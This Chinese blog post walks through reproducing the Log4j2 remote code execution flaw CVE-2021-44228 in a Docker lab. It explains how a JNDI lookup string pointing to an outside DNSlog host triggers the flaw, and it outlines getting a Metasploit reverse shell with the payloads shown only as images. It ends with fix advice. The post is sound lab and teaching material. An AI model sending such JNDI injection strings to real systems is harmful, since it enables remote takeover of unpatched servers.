• CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现


    漏洞信息

    漏洞名称Apache Log4j2远程代码执行漏洞
    漏洞编号CVE-2021-44228
    危害等级高危
    CVSS评分10.0
    漏洞类型日志框架漏洞
    漏洞厂商Apache
    漏洞组件Apache Log4j2
    受影响版本Log4j 2.x <= 2.15.0-rc1
    漏洞概述Apache Log4j2是一款使用非常广泛的Java日志框架。2021年12月9日,Apache Log4j2爆出存在远程代码执行漏洞,由于Apache Log4j2广泛地应用在各种Web程序中,该漏洞涉及用户量较大,危害性非常之高,漏洞影响版本为2.0~2.14.1。

    漏洞原理

    1. 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,假如日志中含有该语句${jndi:rmi://4rujx1.dnslog.cn/bug},log4j就会去解析该信息。

    2. 通过jndi的lookup()方法去解析该URL:jndi:rmi://4rujx1.dnslog.cn/bug,解析到rmi,就会去4rujx1.dnslog.cn的rmi服务找名为bug的资源,如果找不到就会去http服务中找。

    3. 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现bug是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害。

    环境搭建

    1.环境概述

    • Linux操作系统(kali)
    • Log4j版本2.14.1
    • JNDIExploit-1.4-SNAPSHOT.jar

    2.搭建过程

    Linux下搭建:

    拉取漏洞镜像

    docker pull vulfocus/log4j2-rce-2021-12-09
    
    • 1

    启动漏洞镜像:

    docker run -tid -p 7788:8080 vulfocus/log4j2-cve-2021-44228
    
    • 1

    img

    点击???,可以发现payload是以GET的方式提交的。

    img

    漏洞复现

    1.获取子域

    img

    2.构造payload

    img

    3.在DNSlog网站点击刷新记录,既可以发现一条DNS查询的记录(这里可能存在一些延迟,需要一些时间等待)。发现存在记录的话,就说明存在cve-2021-44228漏洞。

    img

    4.使用JNDIExploit-1.4-SNAPSHOT.jar工具开启LDAP、HTTP服务。这里-i参数是开启LDAP、HTTP服务的ip地址。

    img

    5.kali使用msf的java/meterpreter/reverse_tcp开启监听.

    img

    6.构造恶意payload

    img

    7.msf成功获取到了shell

    img

    修复建议

    1、将Apache Log4j所有相关应用到Apache Log4j 2.3.1版本。

    2、过滤用户输入(ldap、rmi、dns)。

    3、禁止log4j使用lookup方法。

  • 相关阅读:
    数字化转型专题汇总
    Nacos集群的搭建过程详解
    基于Python的电子病历实体识别系统
    【ContextCapture建模精品教程】三维实景模型生成集群设置(2)——工程文件网络路径设置
    JWT技术实现用户token令牌管理(9月20号)
    leetcode 1523. 在区间范围内统计奇数数目
    别再问我如何制作甘特图了!
    岩藻多糖-聚乙二醇-过氧化氢酶,Catalase-PEG-Fucoidan,过氧化氢酶-PEG-岩藻多糖
    代理IP与网络安全:保障跨境电商和游戏的顺畅运行
    如何选择适合自己练手的 Java 源码项目?
  • 原文地址:https://blog.csdn.net/weixin_45715461/article/details/125502062